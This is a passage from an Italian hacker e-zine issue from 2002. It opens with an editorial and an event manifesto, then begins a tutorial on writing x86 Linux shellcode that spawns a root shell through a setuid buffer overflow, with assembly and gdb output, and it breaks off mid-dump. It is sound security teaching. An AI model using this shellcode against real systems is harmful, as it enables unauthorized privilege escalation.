::::::::::::::,. ..,:::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::, ,::::::::,,,,,:::::::::::::,. .,::::,. ,::: :::::::, h@@@@@@@@@r .::::, ,::::::::. :@@@@; ,:. s@@@M,::: :::::, @@@@GX@@@@@@@@@, .::. #@@@@@@r ,:::::, S@@@ .@@@ :@@@2..,.::: ::::. @@@B ,@@@@@@@; ,:.@@@@@@@@@@@. ,:::: A@@. r@@. @@@ .:::: :::. i@@@H ,:::. @@@@@@@ .: ;, X@@@@@@@@ :::, 2@@, . @@@ @@@hH@@X ,::: ::, ;@@@@; ,:::::. :@@@@@@ .:,. A@@@@@@@@G ,:: @@G ., :@@s X@@@s @@@r.::: ::. @@@@@3 :::::: @@@@@2 ,::: @@@@@@@@@@ :: S@@. . @@@ @@X @@@..::: :: .@@@@@@r ,,,. @@@@, ::: @@@@@@@@@@@r , ;@@, @@@ :@@2 @@@: ,::: ::. @@@@@@@@, @@@; .::, ;@@@@@@@@@@@@; s@@@@@@ . ,@@@@@@s .:::: ::, .@@@@@@@@@@@@@@@ ,:, G@@@@@@@@@@@@@@@@i ,::. ,::::: :::. .@@@@@@@@@@@, .:::, 9@@@@@@@@@@@@@@@@@@@@@. ,:::::::::::::::::::::: ::::, S33i. .,::::: @@@@@@@@@@@@@@@@@@@@@@@@i ,::::::::::::::::::::: ::::::,. ,::: S@@@@@@@@@@@@@@@@@@@@@@@@@# ,::::::::::::::::::: ::::::, .G@@@@@@&, ,, A@@@@@@@@@@@@@@@@@@@@@@@@@@@2 .:::::::::::::::::: :::, @@@@@@@@@@@@@@ . B@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. .::::::::::::::::: ::. S@@@ s@@@@@@@: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .:::::::::::::::: :. .@@@G ,::, @@@@@@@ . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. ,::::::::::::::: : ,@@@@ ::::::. :@@@@@@ ,, s@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .::::::::::::::: . @@@@@ ::::::: A@@@@# ,:, @@@@@@@@@@@@@@@@@@@@@@@@@@@@X.::::::::::::::: .@@@@@r ,::::: @@@@H ::::. @@@@@@@@@@@@@@@@@@@@@@@@@@2 .::::::::::::::: ..@@@@@@i 3@@@, ,::::, &@@@@@@@@@@@@@@@@@@@@@@@@@@, ,::::::::::::::: , @@@@@@@@@r. :#@@@. .::::::, :@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::: : s@@@@@@@@@@@@X .::::::,,, @@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::: :,. .@H .,,:::. s@@; X :@@@@@@@@@@@@@@@@@@3 ,::::::::::::::: :::. r@@@@@@@X: @@@@@@@@@@ s :@B#@@@@@@@@@@@@@@@r .::::::::::::::: ::::@@@@@@@@@@@@@@@@@@A; : r3@@@r3S@@@@@@@@@@@@@@ .:::::::::::::: :::. .2@@@@@@@@@@@@@@@@X. ;5.@@@@@@@@@@@@@@@; ,::::::,..,::: ::::,,.. i@@@@@@@@@@@@@@@@Mr :@@@@@@@@@@@@@@@;,::,. .r.::: :::::::::::::,. h@@@@@@@@@@@@@@@@@Mr @@@@@@@@S .9@@@H,::: :::::::::::::::::,, ;B@@@@@@@@@@@@@@@@@3; i@@@@@@r ,::: :::::::::::::::::::::::,. ;H@@@@@@@@@@@@@@@@@@@@@@@@@@@@@i .,::::: ::::::::::::::::::::::::::::,,. .:sh#@@@@@##Ah3i:. ,:::::::::: :::::::::::::::::::::::::::::::::::,. .,,::::::::::::::: ::::::::::::::::::::::::::::::::::::::,,................,,:::::::::::::::::: +--------------------------------------------------------------------------+ | ONDAQUADRA #06 - 25/04/2002 | +--------------------------------------------------------------------------+ | Tutto nel ciberspazio | | E' scandito dalla squarewave | | Dei micro-processori | | Il clock dei micro | | E' come | | Un battito cardiaco | | Elettronico... | +--------------------------------------------------------------------------+ | http://ondaquadra.cjb.net | | mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net | +--------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | LEGAL DISCLAIMER | +--------------------------------------------------------------------------+ | | | Nessuna persona dello staff di OndaQuadra si assume responsibilita' | | per l'uso improprio dell'utilizzo dei testi e dei programmi presenti | | nella e-zine, ne' per danni a terzi derivanti da esso. | | OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni | | effettuate con la legge 23 dicembre 1993, n.547 ed in particolare | | agli artt. 615-quater- e 615-quinques-. | | Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come | | avvengono le tecniche di intrusione al fine di far comprendere come | | sia possibile difendersi da esse, rendere piu' sicura la propria box e | | in generale approfondire le proprie conoscenze in campo informatico. | | I programmi allegati sono semplici esempi di programmazione che hanno | | il solo scopo di permettere una migliore comprensione di quanto | | discusso e spiegato nei testi. | | Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, | | n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex | | art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge | | 8 febbraio 1948, n.47. | | | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | +--------------------------------------------------------------------------+ | Diritti e doveri dei cittadini: Rapporti civili | | | | Articolo 21 | | Tutti hanno diritto di manifestare liberamente il proprio pensiero | | con la parola, lo scritto e ogni altro mezzo di diffusione. [...] | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | INDICE | +--------------------------------------------------------------------------+ | [L0GiN] | | 0x01 iNTR0 AL NUMER0 06 ................................... [oq ~ staff] | | 0x02 ViSi0NARi ............................................ [oq ~ staff] | | 0x03 iPSE DiXiT ........................................... [oq ~ staff] | | 0x04 F3C0D&FUN ............................................. [Cornelius] | +--------------------------------------------------------------------------+ | [HACKiNG] | | 0x05 GH0ST iN THE SHELL: iNTR0DUZi0NE ALL0 SHELLC0DiNG ......... [trtms] | | 0x06 DNS SP00F ATTACK ........................................... [E4zy] | +--------------------------------------------------------------------------+ | [NETW0RKiNG] | | 0x07 FiREWALKiNG ................................................ [E4zy] | | 0x08 NMAP .................................................. [ADvAnCeD'] | +--------------------------------------------------------------------------+ | [LiNUX] | | 0x09 iN SHELL WE TRUST - PARTE 2 .............................. [lesion] | | 0x0A TCP/iP & SOCKET iN LiNUX ................................ [SNHYPER] | | 0x0B LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD ......... [xyzzy] | +--------------------------------------------------------------------------+ | [C0DiNG] | | 0x0C C0RS0 Di C [PARTE QUARTA] .......................... [AndreaGeddon] | | 0x0D 0S FR0M ZER0 CHAPTER 3 ...................... [Alexander The Great] | +--------------------------------------------------------------------------+ | [MiSC] | | 0x0E CAPiRE E PREVENiRE GLi ATTACCHi: SQL iNJECTi0N .......... [SHNYPER] | | 0x0F 0PERAT0Ri L0GiCi E NUMERAZi0NE ESADECiMALE ................ [CiLi0] | | 0x10 FiLESERVER BUG ................................. [^_][ice][man][_^] | | 0x11 PR0GRAMMARE LE RAW S0CKET (TRADUZi0NE) ............. [XpTerminator] | | 0x12 USELESS NETBSD M0DULE ................................... [_beb0s_] | | 0x13 iL BUG DEL UPNP ............................................. [e4m] | | 0x14 WiN2000 B00TSECT0R REVERSiNG (VERSi0NE FAT 32) ............. [albe] | +--------------------------------------------------------------------------+ | [LO SCiAMANO] | | 0x15 G0VNET - LA RETE DEL G0VERN0 ................... [MightyInquisitor] | | 0x16 FREAKNET MEDiALAB: DESTiNAT0 ALLA CHiUSURA? ........ [Alcatraz2100] | | 0x17 LA N0RMATiVA iTALiANA RiGUARD0 i CRiMiNi .......................... | | iNF0RMATiCi..................................... [MigthyInquisitor] | +--------------------------------------------------------------------------+ | [L'APPRENDiSTA STREG0NE] | | 0x18 GUiDA SUL MiRC SCRiPTiNG [PARTE QUARTA] ......... [[]_CyBeRPuNK_[]] | | 0x19 C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 3 ..... [zer0] | | 0x1A ASSEMBLY? N0 GRAZiE N0N FUM0 [V0LUME I] .................... [e4m] | | 0x1B iNSTALLAZi0NE Di APACHE, PHP, MYSQL PER WiN32 ........ [DiRtYdoZeN] | +--------------------------------------------------------------------------+ | [SHUTD0WN] | | 0x1C "L'ETiCA HACKER" Di PEKKA HiMANEN ......................... [bubbo] | +--------------------------------------------------------------------------+ | [C0NTATTi] | | 0x1D D0VE TR0VARCi ........................................ [oq ~ staff] | +--------------------------------------------------------------------------+ | [ALLEGATi] | | 0x01 LC.ZIP ...................................... [Alexander The Great] | | 0x02 S0CKET.ZIP .............................................. [SHNYPER] | | 0x03 G0VNET_0RiGiNAL.TXT ............................ [MightyInquisitor] | | 0x04 REGiSTRAT0RE.ZIP ............................... [^_][ice][man][_^] | | 0x05 SECURiTY iNF0 ............................................... [e4m] | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 | | iNTR0 AL NUMER0 06 [oq ~ staff] 0x01/0x1D | +--------------------------------------------------------------------------+ | Pronti, partenza, via! | | Eccoci qui, un altra puntata entusiasmante di quello che e' il nostro | | progetto, OndaQuadra. | | Prima di cominciare con il solito intro noioso volevo porgere le mie | | (nostre) scuse a tutti i lettori per due motivi. | | Il primo, e di questo la colpa e' in gran parte mia, e' il grande | | lasso di tempo che ha diviso questo numero 06 dallo scorso. | | Putroppo per impegni vari, sia io che gli altri autori non siamo | | riusciti a fare prima, sorry! | | (A dire la verita' si sarebbe potuto far prima, se si doveva stare ad | | aspettare soltanto gli autori, ma qui scatta la mia parte di colpa, | | che pero' e' scusata dal fatto che ho lavorato come uno schiavo per un | | bel periodo). | | Il secondo motivo e' il tanto annunciato portale di OndaQuadra, che | | sempre per motivi "tecnici" (impegni nella real-life), non e' ancora | | giunto al termine. | | Chiusa la parentesi riguardante le scuse voglio cominciare con | | illustrare un po' questo nuovo numero. | | Non cito tutti gli articoli presenti perche' non ne vale la pena, | | visto che appena sopra di questo editoriale c'e' un indice che e' | | fatto apposta per questo, ma mi limitero' a citare quegli articoli che | | sembra abbiano riscontrato piu' successo tra i lettori. | | Siamo giunti alla terza puntata dell'articolo di Alexander the Great | | su come costruire un sistema operativo (0S FR0M CHAPTER 3) e per | | rendere felici tutti gli interessati abbiamo allegato i sorgenti del | | kernel sviluppato da Alex. | | Una nota di riguardo va per il mio corso di C, che purtroppo (sempre | | per i motivi di cui sopra) da questo numero non curero' piu' io, ma | | sara' curato da Andrea Geddon, sempre semplice, sempre intuitivo, e | | probabilmente anche piu' dettagliato dei corsi passati. | | Con questo numero congediamo anche gli articoli di CyBeRPuNK | | riguardanti il MiRC scripting, che ci hanno tenuto compagnia per ben 4 | | numeri. | | Sinceramente non saprei quali altri articoli scegliere da | | "pubblicizzare" in quest'intro, anceh perche' se mi mettessi ad | | elencare tutti gli articoli che sono presenti questo editoriale | | diventerebbe lungo quasi quanto la rivista. | | Un ultima nota di rilievo (solo come cronologia, non come importanza) | | la voglio dare alla manifestazione che si terra' il 15 e 16 Giugno a | | Piedimonte Matese (CE), una manifestazione molto interessante | | sull'open source e il retro computing (per maggioni informazioni | | vedere l'articolo 0x03). | | Ah, quasi dimenticavo, un'altra cosa, prometto che e' l'ultima poi me | | ne vado a nanna e chiudo quest'editoriale. | | ;P | | Ne "L0 SCiAMAN0" c'e' un'articolo scritto da uno degli organizzatori | | dell'hackmeeting 01 che si e' svolto al FreakNet di Catania, un | | appello per... beh, leggetelo da soli :)) | | Passo e chiudo | | Vi auguro una buona lettura, sperando che tutto il resto del numero | | risulti un pochino piu' in italiano di questo editoriale che (mi | | dispiace ma me ne sono accorto ora che ho finito di scriverlo e non ho | | voglia di ricominciare da capo) fa davvero schifo. | | Alla prossima gente. | | See ya | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 | | ViSi0NARi 0x02/0x1D | +--------------------------------------------------------------------------+ | | |"Ogni Uomo e' una Stella: fai cio' che Vuoi" | |(Aleister Crowley) | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 | | iPSE DiXiT 0x03/0x1D | +--------------------------------------------------------------------------+ | | | "La risata e` la perdita momentanea del controllo delle proprie | | emozioni" | | MightyInquisitor | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 | | F3C0D&FUN [Cornelius] 0x04/0x1D | +--------------------------------------------------------------------------+ | *********************************************************** | | Manifesto - F3COD&FUN - Prima edizione 2002 - | | Open Source Hacking Party and Retro Computing Fun | | [ http://www.f3codandfun.org ] | | *********************************************************** | | | | Quando nel lontanissimo 1981 acquistai con i miei risparmi un | | computer Commodore VIC 20 usato, fu per me un momento magico, in- | | dimenticabile. Avevo +/- 15 anni ma ricordo ancora benissimo le | | sensazioni interiori ed intellettuali che suscito' in me quel | | primo computer. E' difficile descrivere le sensazioni che provai | | in quei momenti in cui corsi subito a casa per accenderlo, era | | qualcosa di metafisico. Non conoscevo nulla di computer, di | | byte, di CPU, di software. Avevo solo un'incontenibile forza in- | | teriore di imparare tutto e presto. Divorai il manuale utente | | come fosse una questione di vita o di morte iniziando subito | | a scrivere i primi programmi in BASIC e qualche anno dopo in as- | | sembler. | | | | Tutto ebbe inizio con quel piccolo, grande computer... Il VIC20! | | Dopo ne vennero molti altri, sempre + potenti e costosi... Sem- | | brava che una specie di aureola spirituale/tecnologica fosse | | scesa su di me nel 1981, e da allora non mi ha + abbandonato. | | | | L'informatica e l'elettronica divennero x me il pane quotidiano e | | quell'aureola misteriosa che sentivo sempre presente dentro di me | | mi spingeva misteriosamente ad imparare sempre +, sempre +...... | | Iniziai a pensare seriamente che io fossi afflitto da qualche | | forma strana di anomalia comportamentale, o cose di questo | | tipo... | | | | ma col passare del tempo scoprii con gioia e stupore che io non | | ero il solo a possedere quella cosiddetta "Anomalia tecnologi- | | ca", ma anche altri ragazzi come me la possedevano. Allora | | iniziammo istintivamente a stringerci culturalmente insieme in | | una sorta di club dove poterci scambiare opinioni, idee, aiuti | | e programmi. | | | | Era semplicemente fantastica l'aria che si respirava in quei | | pomeriggi dove si parlava solo e semplicemente di computer e di | | software... | | | | Accadde poi un fatto che segno' per sempre la nostra visione | | delle cose e dell'informatica... si apri' davanti a noi la strada | | di un mondo unico, affascinante, virtuale, incantato ed ines- | | plorato... Il mondo della telematica delle prime BBS che a meta' | | degli anni 80 spuntarono come funghi digitali. Fu il mitico film | | "War Games" che uscendo nel 1983, fece letteralmente esplodere il | | gia' rovente ambiente... e tutti ci facemmo regalare per natale | | un modem... Il resto e' storia... | | | | Ognuno di noi divenne poi un vero esperto: chi all'Universi- | | ta', chi presso aziende di Telecomunicazioni, chi presso | | Software House, chi giornalista tecnico, ecc. Di tanto in tanto | | ci capita di ritornare con la mente a quei romantici e magi- | | ci momenti di informatica pioneristica e spensierata che hanno | | svezzato i nostri cuori tecnologici... | | | | Col passare del tempo pero' ognuno di noi quasi dimentico' | | quegl'anni mitici, relegandoli e chiudendoli nel cuore... In- | | iziammo pero' tutti noi, indifferentemente e autonomamente a | | scontrarci giornalmente con la contorta realta' delle aziende in | | cui ci trovavamo a lavorare... Ci scontravamo (e tuttora ci | | scontriamo) con i monopoli, le forme di controllo, i software | | progettati male, la burocrazia tecnica che affossa le idee e | | l'ingegno in favore di soluzioni costose ed inefficienti di | | aziende che dettate da fredde regole di marketing puntano es- | | clusivamente al profitto ed all'inganno... | | | | Tutta quella magia e quell'energia positiva (un'energia che | | ci spingeva negli anni 80 fraternamente a studiare e smontare | | per cercare di capire come funzionano le cose) che noi credevamo | | quasi perduta, ci rendemmo conto un giorno che non si era x nulla | | dispersa... | | | | Anzi al contrario scoprimmo che altri individui della nostra | | stessa specie generazionale come Richard Stallman, Eric Ray- | | mond, Linus Torvalds e tanti altri con coraggio, sacrificio e | | forza lottarono per fare in modo che concetti poetici come lo | | studio, la codivisione delle idee e la liberta' fossero i buoi | | trainanti di quel carro che poi diventera' in seguito la grande | | scuola di pensiero del "Free Software" e della filosofia | | "Open Source"... | | | | Oggi siamo certi che quella magia misteriosa che respiravamo | | negli anni 80 risiede completamente e pienamente nella filosofia | | software dello sviluppo Open Source e del Free Software :-)) | | | | Ecco allora che la manifestazione F3COD&FUN (si legge free cod | | and fun e che significa scrivi e/o condividi codice libero e di- | | vertiti nel farlo), il cui nome sintetizza appunto questa forma | | di energia intellettuale, servira' per creare due giorni di in- | | tensa festa (appunto party), di incontro, di scambio spensierato | | di idee ed opinioni, di programmi, di ribellione, di amicizia, | | di utopia, e di tutto quanto possa servire ad arricchire tecnica- | | mente e culturalmente chiunque lo desideri... | | | | Ritorneremo a respirare quell'area mistica, incantata dei club | | di hackers degli anni 80 dove tutto dal bullone al chip, dal | | floppy al software di sistema, fino alle riviste culto come "pa- | | per soft" contribuiva ad arricchire il nostro know-how e la nos- | | tra sete di conoscenza. | | | | Al F3COD&FUN non ci saranno copioni convenzionali, linee guida da | | seguire, rigide regole comportamentali, saremo tutti liberi di | | navigare, programmare, assemblare, installare, smontare, giocare, | | bere birra, mostrare ai neofiti la bellezza ed affidabilita' di | | un sistema aperto e non controllato da ingorde multinazionali, o | | semplicemente mangiare un panino con la salsiccia davanti ad | | un'intramontabile PacMac su Apple II, potremo condividere pezzi | | di software e pezzi di hardware, barattare schede elettroniche o | | schemi elettrici... | | | | Si ammireranno e si ritoccheranno le mitiche macchine che | | hanno segnato x sempre l'informatica mondiale e che hanno cullato | | i nostri cuori tecnologici... Sara' un tuffarsi nel futuro con la | | filosofia Open Source ma sara' anche un tuffo nel romantico pas- | | sato con il retro computing per ricordare a tutti che non e' af- | | fatto necessario possedere un computer super pompato per di- | | ventare esperti, ma basterebbe anche un modesto computer a 8 | | bit... Ed a tal proposito vedremo demos grafici su C64 scritti | | in puro assembler che in soli 30 Kb di RAM e con un clock macchi- | | na di 1 Mhz fare cose incredibili. | | | | Rivivremo al F3COD&FUN tutti insieme le nostre radici tecno- | | logiche. | | | | Se ritieni giusto, romantico, importante, utile o chissa' che | | cosa questo manifesto allora sei il benvenuto... Porta il tuo | | sistema Open Source alla manifestazione, o il tuo sistema obsole- | | to che tutti dicono sorpassato e vivrai con noi un'esperienza | | unica ed indimenticabile. | | | | E che l'hacking sia con voi :-) | | | | Cornelius (organizzatore della prima edizione del F3COD&FUN) | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #06 - 25/04/2002 | | GH0ST iN THE SHELL: iNTR0DUZi0NE ALL0 SHELLC0DiNG [trtms] 0x05/0x1D | +--------------------------------------------------------------------------+ | | | ================================================= | | | | 1. Introduzione | | 1.1 Requisiti | | | | 2. Buffer overflow | | | | 3. Ghost in the shell | | 3.1 Strumenti & fini | | 3.2 Rootshell | | | | 4. Shellcoding | | 4.1 (X)ora et (e)labora | | 4.2 La Via della Mano Destra | | | | 5. Conclusione | | | | 6. Fonti | | | | | | 1. Introduzione | | ------------------------------------------------------------------------ | | Il fine di questo articolo e' quello di aiutare a comprendere i | | meccanismi che si nascondono dietro gli shellcode e stimolare il | | lettore ad approfondire il tema, aiutandolo a raggiungere l'abilita' | | di scrivere shellcode autonomamente. | | | | Credo che questa sia la prima guida in italiano esclusivamente | | dedicata allo shellcoding. Spero sia utile a chi sia avvicina al mondo | | della sicurezza; a chi ha un sistema da "difendere" e vuole | | comprendere meglio le tecniche di attacco dei cracker; a chi vuole | | abbandorare il lameraggio e avviarsi verso il rutilante mondo degli | | 0days, | | lameraggio d'elite... :D | | | | | | 1.1 Requisiti | | -------------- | | | | | | | | 2. Buffer overflow | | ------------------------------------------------------------------------ | | Non mi soffermo sul buffer overflow. Esistono testi in italiano che | | hanno parlato del buffer overflow (vedere i vecchi numeri di BFi); chi | | conosce l'inglese puo' trovare nella bibliografia i riferimenti | | necessari. | | | | Qui voglio solo ricordare che lo shellcode viene generalmente inserito | | nello stack tramite funzioni di copia delle stringhe (es. strcpy); | | questa funzione prevede che la fine della stringa sia identificata dal | | carattere 0, quindi lo shellcode non puo' contenrere questo carattere. | | | | In questa sede naturalmente si parla dei casi basilari, necessari per | | spiegare i concetti. Non si parla di heap, overflow da un byte, di | | shellcode polimorfiche e nemmeno di | | | | contromisure contro gli IDS: credo sia gia' abbastanza complicato | | cosi' per chi deve capire il meccanismo. | | | | Ricordo solo che se vogliamo ottenere una root shell, dobbiamo | | attaccare un programma che giri con i privilegi di root e sia | | accessibile anche da un utente normale (suid). | | | | | | 3. Ghost in the shell | | ------------------------------------------------------------------------ | | | | 3.1 Strumenti & fini | | -------------------- | | In questa sede si parlera' di shellcode x86 su piattaforma Linux; il | | lettore deve essere in grado di compilare programmi con gcc e deve | | conoscere (anche in modo superficiale) gdb. | | Realizzeremo uno shellcode classico: l'esecuzione di sh come root | | partendo dai privilegi di utente. | | | | | | 3.2 Rootshell | | --------------- | | T | | void main(){ | | char *sh[2]; | | sh[0]="/bin/sh"; | | sh[1]=0; | | execve(sh[0],sh,0); | | } | | | | TA noi basta sapere che necessita di tre parametri: | | 1. la stringa che contiene il comando da eseguire | | 2. puntatore a un array contenente i parametri da passare (per noi 0) | | 3. i parametri di ambiente (per noi nulli). | | | | Compiliamo il programmino con -static e poi lanciamo gdb: | | | | gcc shell.c -o shell -static | | gdb shell | | | | quindi andiamo a vedere cosa fa la funzione execve: | | | | (gdb) disas execve | | | | Dump of assembler code for function __execve: | | 0x804cfdc <__execve>: push %ebp | | 0x804cfdd <__execve+1>: mov $0x0,%eax | | 0x804cfe2 <__execve+6>: mov %esp,%ebp | | 0x804cfe4 <__execve+8>: sub $0x10,%esp | | 0x804cfe7 <__execve+11>: push %edi | | 0x804cfe8 <__execve+12>: push %ebx | | 0x804cfe9 <__execve+13>: mov 0x8(%ebp),%edi | | 0x804cfec <__execve+16>: test %eax,%eax | | 0x804cfee <__execve+18>: je 0x804cff5 <__execve+25> | | 0x804cff0 <__execve+20>: call 0x0 | | 0x804cff5 <__execve+25>: mov 0xc(%ebp),%ecx | | 0x804cff8 <__execve+28>: mov 0x10(%ebp),%edx | | 0x804cffb <__execve+31>: push %ebx | | 0x804cffc <__execve+32>: mov %edi,%ebx | | 0x804cffe <__execve+34>: mov $0xb,%eax | | 0x804d003 <__execve+39>: int $0x80 | | | | | | a noi interessano in particolar modo queste linee: | | | | 0x804cfe9 <__execve+13>: mov 0x8(%ebp),%edi | | | | dove il primo parametro della funzione (l'indirizzo della | | stringa "/bin/sh" viene posto in edi | | | | e | | | | 0x804cff5 <__execve+25>: mov 0xc(%ebp),%ecx | | 0x804cff8 <__execve+28>: mov 0x10(%ebp),%edx | | 0x804cffb <__execve+31>: push %ebx | | 0x804cffc <__execve+32>: mov %edi,%ebx | | 0x804cffe <__execve+34>: mov $0xb,%eax | | 0x804d003 <__execve+39>: int $0x80 | | | | dove il secondo parametro (l'indirizzo di sh) viene posto in ecx | | (mov 0xc(%ebp),%ecx), | | il terzo parametro (NULL) in edx (0x10(%ebp),%edx). | | Quindi viene chiamata la execve (codice $0xb): | | | | 0x804cffe <__execve+34>: mov $0xb,%eax | | 0x804d003 <__execve+39>: int $0x80 | | | | Questo e' quello che dovra' fare il nostro shellcode: passare i tre | | parametri e quindi chiamare execve. | | | | | | 3.3 L'indirizzo misterioso | | --------------------------- | | Problema. Noi dovremo inserire il nostro codice sullo stack, e non | | conosceremo a priori gli indirizzi dove il codice stesso si verra' a | | trovare. Visto che noi dobbiamo passare dei parametri alla funzione, | | dobbiamo conoscere almeno l'indirizzo dove poter trovare questi | | parametri. E allora ? Ci serve un espediente per trovare questo | | indirizzo. | | | | Semplice. Metteremo la stringa alla fine del codice, quindi | | utilizzeremo una jmp e una call. Per capire bene cosa stiamo per fare | | occorre rispolverare un po' di assembler. L'istruzione "jmp" (jump) | | che utilizzeremo fa "saltare" il codice all'indirizzo specificato. | | Anzi, in realta' in questo caso il parametro fornito sara' un offset, | | ovvero un valore che rappresenta la distanza in byte dall'indirizzo di | | destinazione. | | | | La "call" e' diversa; si tratta infatti di una chiamata ad una | | subroutine. Quando viene eseguita una call, l'indirizzo immediatamente | | successivo alla call stessa viene salvato sullo stack. Per esempio, se | | la call si trova a questo ipotetico indirizzo: | | | | 0x804cff0 call vaidaqualcheparte | | 0x804cff5 ... | | | | sullo stack troveremo l'indirizzo 0x804cff5. | | | | Ora tutto dovrebbe essere piu' chiaro. Mettendo all'inizio della | | nostra shellcode un jmp alla fine della codice, facendolo puntare alla | | call (che richiamera' l'inizio del codice), provocheremo il | | salvataggio dell'indirizzo successivo alla call; se noi dopo la call | | metteremo la nostra stringa, l'indirizzo stesso della stringa si | | trovera' sullo stack e potra' essere comodamente recuperato con una | | semplice istruzione "popl". | | | | ovvero: | | | | jmp finecodice ; salta a fine codice | | inizio: ; label di inizio codice | | popl esi ; preleva eip dallo stack | | ...\ | | ... shellcode ; corpo dello shellcode | | .../ | | finedocie: ; label di fine codice | | call inizio ; la call provoca il salvataggio di eip sullo stack, | | ovvero l'indirizzo | | ; della nostra stringa | | .stringa "/bin/sh" : la stringa da passare a execve | | | | il codice parte, salta a "finecodice:", esegue la call: l'indirizzo | | della stringa viene salvato sullo stack. La call porta il flusso del | | programma a "inizio:" dove l'istruzione popl recupera l'indirizzo | | della stringa. Abbiamo tutto quello che ci serve, possiamo proseguire. | | | | | | 4. Shellcoding | | ------------------------------------------------------------------------ | | Ora diamo uno sguardo a come si presentera' il nostro codice in | | assembler: | | | | shell1.c | | void main(){ | | __asm__("jmp fine: \n" | | "inizio: popl %esi \n" | | "movl %esi,0x8(%esi) \n" | | "movl $0x0,0xc(%esi) \n" | | "movb $0x0,0x7(%esi) \n" | | "movl %esi,%ebx \n" | | "leal %0x8(%esi),%ecx \n" | | "leal %0xc(%esi),%edx \n" | | "movl $0xb,%eax \n" | | "int $0x80 \n" | | "fine: call inizio: \n" | | " .string \"/bin/sh\" \n"); | | } | | | | | | Viene impostata la label "inizio:" che servira' alla call, quindi | | dopo la popl %esi, esi stesso conterra' l'indirizzo della stringa. | | | | __asm__("inizio: jmp fine: \n" | | "popl %esi \n" | | | | dobbiamo sistemare i parametri. Copiamo l'indirizzo della stringa | | nel secondo parametro | | | | "movl %esi,0x8(%esi) \n" | | | | mettiamo uno zero nel terzo | | | | "movl $0x0,0xc(%esi) \n" | | | | e mettiamo zero alla fine della nostra stringa, carattere di fine | | stringa | | | | "movb $0x0,0x7(%esi) \n" | | | | quindi passiamo gli indirizzi dei parametri nei registri dove execve | | si aspetta di trovarli... (ebx,ecx,edx) | | | | "movl %esi,%ebx \n" | | "leal %0x8(%esi),%ecx \n" | | "leal %0xc(%esi),%edx \n" | | | | si esegue la chiamata a execve | | | | "movl $0xb,%eax \n" | | "int $0x80 \n" | | "fine: call inizio: \n" | | " .string \"/bin/sh\" \n"); | | } | | | | e ci troviamo root :) | | | | | | 4.1 (X)ora et (e)labora | | ------------------- | | Benche' la cosa possa sembrare gia' abbastanza complicata, i problemi | | non sono ancora finiti :) Infatti, se compiliamo il codice appena | | presentato, troveremo degli zeri all'interno dello shellcode, e questo | | (vedi paragrafo[2]) non va bene. | | | | Lanciamo gdb shell1 | | | | Copyright 2000 Free Software Foundation, Inc. | | GDB is free software, covered by the GNU General Public License, and | | you are welcome to change it and/or distribute copies of it under | | certain conditions. | | Type "show copying" to see the conditions. There is absolutely no | | warranty for GDB. Type "show warranty" for details. This GDB was | | configured as "i386-slackware-linux"... | | (gdb) x/bx main+3 (saltiamo il preambolo che non ci serve) | | 0x80483b7 : 0xe9 | | (gdb) | | 0x80483b8 : 0x62 | | (gdb) | | 0x80483b9 : 0x7c | | (gdb) | | 0x80483ba : 0xfb | | (gdb) | | 0x80483bb : 0xf7 | | (gdb) | | 0x80483bc : 0x5e | | (gdb) | | 0x80483bd : 0x89 | | (gdb) | | 0x80483be : 0x76 | | (gdb) | | 0x80483bf : 0x08 | | (gdb) | | 0x80483c0 : 0xc7 | | (gdb) | | 0x80483c1 : 0x46 | | (gdb) | | 0x80483c2 : 0x0c | | (gdb) | | 0x80483c3 : 0x00 <--- queste 4 linne non vanno bene | | (gdb) | | 0x80483c4 : 0x00 | | (gdb) | | 0x80483c5 : 0x00 | | (gdb) | | 0x80483c6 : 0x00 | | (gdb) | | 0x80483c7 : 0xc6 | | (gdb) | | 0x80483c8 : 0x46 | | (gdb) | | 0x80483c9 : 0x07 | | (gdb) | | 0x80483ca : 0x00 <--- altra linea incriminata | | (gdb) | | 0x80483cb : 0x89 | | (gdb) | | 0x80483cb : 0x89 | | (gdb) | | 0x80483cc : 0xf3 | | (gdb) | | 0x80483cd : 0x8d | | (gdb) | | 0x80483ce : 0x4e | | (gdb) | | 0x80483cf : 0x08 | | (gdb) | | 0x80483d0 : 0x80 | | (gdb) | | 0x80483d1 : 0x56 | | (gdb) | | 0x80483d2 : 0x0c | | (gdb) | | 0x80483d3 : 0xb8 